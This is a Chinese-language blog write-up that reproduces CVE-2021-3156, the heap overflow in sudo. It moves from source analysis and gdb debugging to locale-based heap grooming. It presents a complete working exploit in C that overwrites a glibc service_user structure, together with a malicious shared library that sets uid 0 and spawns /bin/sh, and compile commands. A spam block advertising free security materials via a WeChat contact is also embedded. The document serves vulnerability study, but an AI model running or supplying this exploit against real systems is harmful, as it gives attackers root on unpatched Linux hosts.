CVE復現之老洞新探(CVE-2021-3156)

環境搭建

直接拉取合適的docker

docker 環境:

https://hub.docker.com/r/chenaotian/cve-2021-3156

下載glibc-2.27源碼和sudo-1.8.21源碼

漏洞分析

    /* set user_args */
    if (NewArgc > 1) {
        char *to, *from, **av;
        size_t size, n;

        /* Alloc and build up user_args. */
        for (size = 0, av = NewArgv + 1; *av; av++)
        size += strlen(*av) + 1; //計算command緩衝區的大小,每個command後面跟一個空格符
        if (size == 0 || (user_args = malloc(size)) == NULL) {  //分配堆塊,存放command
        sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
        debug_return_int(-1);
        }
        if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {  // 設置-s參數進入分支
        /*
         * When running a command via a shell, the sudo front-end
         * escapes potential meta chars.  We unescape non-spaces
         * for sudoers matching and logging purposes.
         */
        for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
            while (*from) {
            if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                from++; // 跳過反斜槓
            *to++ = *from++; // 複製反斜槓後面的字符
            } // 漏洞點在於當結尾是\且後面不是空格時,會from++一次,在拷貝完後還會from++,再去判斷while的條件,就跳過了0,造成了越界寫。
            *to++ = ' '; //每個command後面跟一個空格
        }
        *--to = '\0';
        } else {
        for (to = user_args, av = NewArgv + 1; *av; av++) {
            n = strlcpy(to, *av, size - (to - user_args));
            if (n >= size - (to - user_args)) {
            sudo_warnx(U_("internal error, %s overflow"), __func__);
            debug_return_int(-1);
            }
            to += n;
            *to++ = ' ';
        }
        *--to = '\0';
        }
    }
    }

Untitled

Untitled

Untitled

結合調試,可以對漏洞的情況有更清楚的瞭解。參數以反斜槓結尾會導致寫入一個零字節而繼續賦值下一個參數,在這裏有兩點:

①以反斜槓結尾可導致溢出

②以反斜槓作爲參數可以寫入零字節

同時,被溢出的那個堆塊的大小等於對應參數長度+1。

漏洞調試

glibc源碼

gdb exp
catch exec
b policy_check
b sudoers.c:846

b setlocale
b sudo.c:148
b setlocale.c:369 // strdup
b setlocale.c:398

b nss_load_library
gcc exp.c -o exp2 -lm

漏洞利用

1 利用目標

p ni

Untitled

可以發現service_user結構體在堆上

Untitled

堆塊大小爲0x40

nss_load_library的函數調用流程和相關的數據結構機制

/* Load library.  */
static int

' (service_user *ni)
{
  if (ni->library == NULL) // ni->library等於0進入分支
    {
      /* This service has not yet been used.  Fetch the service
     library for it, creating a new one if need be.  If there
     is no service table from the file, this static variable
     holds the head of the service_library list made from the
     default configuration.  */
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
                     ni->name); // 新建一個ni->library,並將成員初始化
      if (ni->library == NULL)
    return -1;
    }

  if (ni->library->lib_handle == NULL) // ni->library是新建的,lib_handle是0
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
              + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                          "libnss_"),
                    ni->name),
              ".so"),
        __nss_shlib_revision); // shlib_name經過拼接得到 libnss_+ni->name+.so+__nss_shlib_revision

      ni->library->lib_handle = __libc_dlopen (shlib_name);// 加載動態庫
      if (ni->library->lib_handle == NULL)
    {
      /* Failed to load the library.  */
      ni->library->lib_handle = (void *) -1l;
      __set_errno (saved_errno);
    }

通過對nss_load_library源碼的分析,發現這裏如果能將ni結構體的library覆蓋爲0,name覆蓋成自己的so文件名,具體爲libnss_XXX/test.so.2,其中libnss_是拼接的路徑,XXX/test是name的值,.so.2是拼接上去的,拼接後libnss_XXX/test.so.2表示當前路徑下libnss_XXX文件夾中的test.so.2,我們完成修改後,在當前路徑下創建對應的文件夾,將惡意文件放到其中,更名爲test.so.2,就能加載執行惡意文件。

【---- 幫助網安學習,以下所有學習資料免費領!領取資料加 we~@x:dctintin,備註 “開源中國” 獲取!】

① 網安學習成長路徑思維導圖
② 60 + 網安經典常用工具包
③ 100+SRC 漏洞分析報告
④ 150 + 網安攻防實戰技術電子書
⑤ 最權威 CISSP 認證考試指南 + 題庫
⑥ 超 1800 頁 CTF 實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP 客戶端安全檢測指南(安卓 + IOS)

2 堆塊佈局

接下來,就是需要想辦法將這個service_user結構體放到存在溢出的堆塊下面。

這就來到了第二個問題,setlocale 如何通過環境變量LC_* 進行堆佈局。

// locale\setlocale.c
      /* Load the new data for each category.  */
      while (category-- > 0)
    if (category != LC_ALL)
      {
        newdata[category] = _nl_find_locale (locale_path, locale_path_len,
                         category,
                         &newnames[category]);//通過_nl_find_locale函數去獲取環境變量的值,存放在newdata[category]中

        if (newdata[category] == NULL)
          {
#ifdef NL_CURRENT_INDIRECT
        if (newnames[category] == _nl_C_name)
          /* Null because it's the weak value of _nl_C_LC_FOO.  */
          continue;
#endif
        break;
          }

首先是通過_nl_find_locale函數去獲取環境變量的值,存放在newdata[category]中

// locale\findlocale.c
struct __locale_data *
_nl_find_locale (const char *locale_path, size_t locale_path_len,
         int category, const char **name)
{
    ......
/* LOCALE can consist of up to four recognized parts for the XPG syntax:

        language[_territory[.codeset]][@modifier]

     Beside the first all of them are allowed to be missing.  If the
     full specified locale is not found, the less specific one are
     looked for.  The various part will be stripped off according to
     the following order:
        (1) codeset
        (2) normalized codeset
        (3) territory
        (4) modifier
   */
   //locale的命名規則爲<語言>_<地區>.<字符集編碼>,如zh_CN.UTF-8,zh代表中文,CN代表大陸地區,UTF-8表示字符集。
   // C.UTF-8@AAAAAAAAA
  mask = _nl_explode_name (loc_name, &language, &modifier, &territory,
               &codeset, &normalized_codeset);
               // 判斷四個部分那部分有缺失
  if (mask == -1)
    /* Memory allocate problem.  */
    return NULL;

  /* If exactly this locale was already asked for we have an entry with
     the complete name.  */
  locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
                    locale_path, locale_path_len, mask,
                    language, territory, codeset,
                    normalized_codeset, modifier,
                    _nl_category_names.str
                    + _nl_category_name_idxs[category], 0);

  if (locale_file == NULL)
    {
      /* Find status record for addressed locale file.  We have to search
     through all directories in the locale path.  */
      locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
                    locale_path, locale_path_len, mask,
                    language, territory, codeset,
                    normalized_codeset, modifier,
                    _nl_category_names.str
                    + _nl_category_name_idxs[category], 1);
      if (locale_file == NULL)
    /* This means we are out of core.  */
    return NULL;
    }

結合源碼和相關資料,可以知道locale的命名規則爲<語言>_<地區>.<字符集編碼>,如zh_CN.UTF-8,zh代表中文,CN代表大陸地區,UTF-8表示字符集。例如C.UTF-8@AAAAAAAAA

堆申請原語和堆釋放原語

// locale\setlocale.c
      /* Load the new data for each category.  */
      while (category-- > 0)
    if (category != LC_ALL)
      {
        newdata[category] = _nl_find_locale (locale_path, locale_path_len,
                         category,
                         &newnames[category]);//通過_nl_find_locale函數去獲取環境變量的值,存放在newdata[category]中

        if (newdata[category] == NULL)
          {
#ifdef NL_CURRENT_INDIRECT
        if (newnames[category] == _nl_C_name)
          /* Null because it's the weak value of _nl_C_LC_FOO.  */
          continue;
#endif
        break;
          }

        /* We must not simply free a global locale since we have
           no control over the usage.  So we mark it as
           un-deletable.  And yes, the 'if' is needed, the data
           might be in read-only memory.  */
        if (newdata[category]->usage_count != UNDELETABLE)
          newdata[category]->usage_count = UNDELETABLE;

        /* Make a copy of locale name.  */
        if (newnames[category] != _nl_C_name)
          {
        if (strcmp (newnames[category],
                _nl_global_locale.__names[category]) == 0)
          newnames[category] = _nl_global_locale.__names[category];
        else
          {
            newnames[category] = __strdup (newnames[category]);
            //使用__strdup函數在堆內存中分配空間,並將newdata[category]拷貝進去
            if (newnames[category] == NULL)
              break;
          }
          }
      }

      /* Create new composite name.  */
      composite = (category >= 0
           ? NULL : new_composite_name (LC_ALL, newnames));
      if (composite != NULL)
    {
      /* Now we have loaded all the new data.  Put it in place.  */
      for (category = 0; category < __LC_LAST; ++category)
        if (category != LC_ALL)
          {
        setdata (category, newdata[category]);
        setname (category, newnames[category]);
          }
      setname (LC_ALL, composite);

      /* We successfully loaded a new locale.  Let the message catalog
         functions know about this.  */
      ++_nl_msg_cat_cntr;
    }
      else
    for (++category; category < __LC_LAST; ++category)
      if (category != LC_ALL && newnames[category] != _nl_C_name
          && newnames[category] != _nl_global_locale.__names[category])
        free ((char *) newnames[category]);
        //這裏就是堆塊釋放的原語了,只要有一個區域設置的值不符合規範,則將之前所有申請的堆塊都釋放掉

先使用__strdup函數在堆內存中分配空間,並將newdata[category]拷貝進去,其中

char * __strdup(const char *s)
{
   size_t  len = strlen(s) +1;
   void *new = malloc(len);
   if (new == NULL)
      return NULL;
   return (char *)memecpy(new,s,len);
}

然後當遇到不合法的區域的值時,就會將前面申請的堆都free掉。

locale把按照所涉及到的使用習慣的各個方面分成12個大類,這12個大類分別是:

1、語言符號及其分類(LC_CTYPE) 

2、數字(LC_NUMERIC) 

3、比較和習慣(LC_COLLATE) 

4、時間顯示格式(LC_TIME) 

5、貨幣單位(LC_MONETARY) 

6、信息主要是提示信息,錯誤信息,狀態信息,標題,標籤,按鈕和菜單等(LC_MESSAGES) 

7、姓名書寫方式(LC_NAME) 

8、地址書寫方式(LC_ADDRESS) 

9、電話號碼書寫方式(LC_TELEPHONE) 

10、度量衡表達方式 (LC_MEASUREMENT) 

11、默認紙張尺寸大小(LC_PAPER) 

12、對locale自身包含信息的概述(LC_IDENTIFICATION)

對應

"LC_CTYPE"
"LC_NUMERIC"
"LC_TIME"
"LC_COLLATE"
"LC_MONETARY",
"LC_MESSAGES"
"LC_ALL"
"LC_PAPER"
"LC_NAME"
"LC_ADDRESS"
"LC_TELEPHONE"
"LC_MEASUREMENT"
"LC_IDENTIFICATION"

其中,處理是從下往上的順序處理的,所以在傳參的時候要注意一下順序,不然最開始就錯誤全部釋放掉了。

接下里就是想要如何將一個service_user申請到前面我的堆塊前面

可以在申請service_user前,先利用堆申請原語和堆釋放原語挖好坑。由於知道service_user的chunk大小是0x40,而我們堆溢出的chunk的大小可以自己控制,只要保證大小對應,就可以了。

通過動態調試可以明確__strdup的參數是C.UTF-8@XXXXXX,所以得到的堆塊size是參數長度+1,利用下面腳本生成目標size的內容。

length = 0x38
while(length < 0x100):
    tail = 'C.UTF-8@'
    # length = 0x48
    q = "a"*(length-2)+"\\"
    p = tail+'a'*(length-1-len(tail))
    print(hex(length))
    print(q)
    print(p)
    length += 0x10

經過測試,先按照0x40,0x40,0xa0,0x40的順序設置4個,再設置一個不合法的,可以在中間一些無法避免的堆塊操作後得到一個可利用的堆排布。最後設置一個非法的值。

"LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_NAME=xxxxxxxx"

其中0xa0是爲堆溢出的堆塊留的坑

    /* set user_args */
    if (NewArgc > 1) {
        char *to, *from, **av;
        size_t size, n;

        /* Alloc and build up user_args. */
        for (size = 0, av = NewArgv + 1; *av; av++)
        size += strlen(*av) + 1;
        if (size == 0 || (user_args = malloc(size)) == NULL) {
        sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
        debug_return_int(-1);
        }

在malloc前下斷點·

b sudoers.c:849

查看bins,可以看到tcachebins中0xa0正好有一個堆塊

Untitled

然後在nss_load_library下斷點,查看service_user

b nss_load_library
p ni

Untitled

可以看到前面0xa0的堆塊在service_user的前面,這樣就可以通過溢出覆蓋name字段

所以填坑的參數按照前面的分析應該是

"a"*(0x98-1)+"\\"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\"

綜合得到如下初步exp

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<math.h>

#define __LC_CTYPE               0
#define __LC_NUMERIC             1
#define __LC_TIME                2
#define __LC_COLLATE             3
#define __LC_MONETARY            4
#define __LC_MESSAGES            5
#define __LC_ALL                 6
#define __LC_PAPER               7
#define __LC_NAME                8
#define __LC_ADDRESS             9
#define __LC_TELEPHONE          10
#define __LC_MEASUREMENT        11
#define __LC_IDENTIFICATION     12

char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};

int main()
{
    char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};// malloc(size) size = arg1_len + 1
    char *env[] = {"XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_NAME=xxxxxxxx",NULL};
    execve("/usr/local/bin/sudoedit",argv,env);
}

3 溢出利用

Untitled

當前exp把XXX/test寫到了0x555555623b07

Untitled

此時的service_user在0x5555556241b0,name的偏移是0x30

start = 0x555555623b07
end = 0x5555556241b0+0x30
n = end-start
print(n)
for i in range(n):
    print('"\\\\"',end=',')   

前面知道以反斜槓作爲單獨的參數,能夠寫入\x00,由於這裏需要把library字段覆蓋爲0,所以通過上述代碼生成相應數量的反斜槓,並填在XXX/test前,將XXX/test填入name的同時將library填爲0。

共1753個反斜槓

exp

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<math.h>

#define __LC_CTYPE               0
#define __LC_NUMERIC             1
#define __LC_TIME                2
#define __LC_COLLATE             3
#define __LC_MONETARY            4
#define __LC_MESSAGES            5
#define __LC_ALL                 6
#define __LC_PAPER               7
#define __LC_NAME                8
#define __LC_ADDRESS             9
#define __LC_TELEPHONE          10
#define __LC_MEASUREMENT        11
#define __LC_IDENTIFICATION     12

char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};

int main()
{
    char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};// malloc(size) size = arg1_len + 1
    char *env[] = {"\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_NAME=xxxxxxxx",NULL};
    execve("/usr/local/bin/sudoedit",argv,env);
}

Untitled

覆蓋結果如上

拼接完成後會執行

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                          "libnss_"),
                    ni->name),
              ".so"),
        __nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);
      if (ni->library->lib_handle == NULL)
    {
      /* Failed to load the library.  */
      ni->library->lib_handle = (void *) -1l;
      __set_errno (saved_errno);
    }

通過__libc_dlopen打開文件

Untitled

4 提權收工

最後編譯後門test.so.2,並放入libnss_XXX文件夾

這裏借用CVE-2021-3156:sudo堆溢出提權漏洞分析-騰訊雲開發者社區-騰訊雲 (tencent.com)中的代碼

#define _GNU_SOURCE 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define EXECVE_SHELL_PATH "/bin/sh"

static void __attribute__ ((constructor)) pop_shell(void);
char *n[] = {NULL};

void pop_shell(void) {
    printf("[+] executed!\n");
    setresuid(0, 0, 0);
    setresgid(0, 0, 0);
    if(getuid() == 0) {
        puts("[+] we are root!");
    } else {
        puts("[-] something went wrong!");
        exit(0);
    }

    execve(EXECVE_SHELL_PATH, n, n);
}
gcc -fPIC -shared test.c -o libnss_XXX/test.so.2
chmod 777 libnss_XXX/test.so.2

提權效果

Untitled

總結

這個老洞新探,還是挺有意思的, 從源碼分析到動態調試,整個過程對程序調試的能力有很大的鍛鍊。在這個洞的利用中,思路是比較清晰的,但在堆排布那裏,由於中間會有很多其他的堆塊操作是我們不可控,就會存在較大困難,要麼通過逆向分析梳理所有的堆塊操作然後手動構造,要麼就是通過fuzz。前者費時費力,而且存在很多問題,後者需要對fuzz進行一定的學習。在盲目手動構造的過程中,好不容易在service_user之前留下了坑,但還是遇到了幾種情況,一是在沒有加溢出的時候的service_user結構體的地址和加了溢出字符後的不一樣,二是在根本走不到nss_load_library就崩潰了,三是修改了最近的一個service_user結構體,但並沒有用。

總的來說,這個洞還有很多可以學習的地方,後面學學fuzz後再來試試這個洞。

  

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章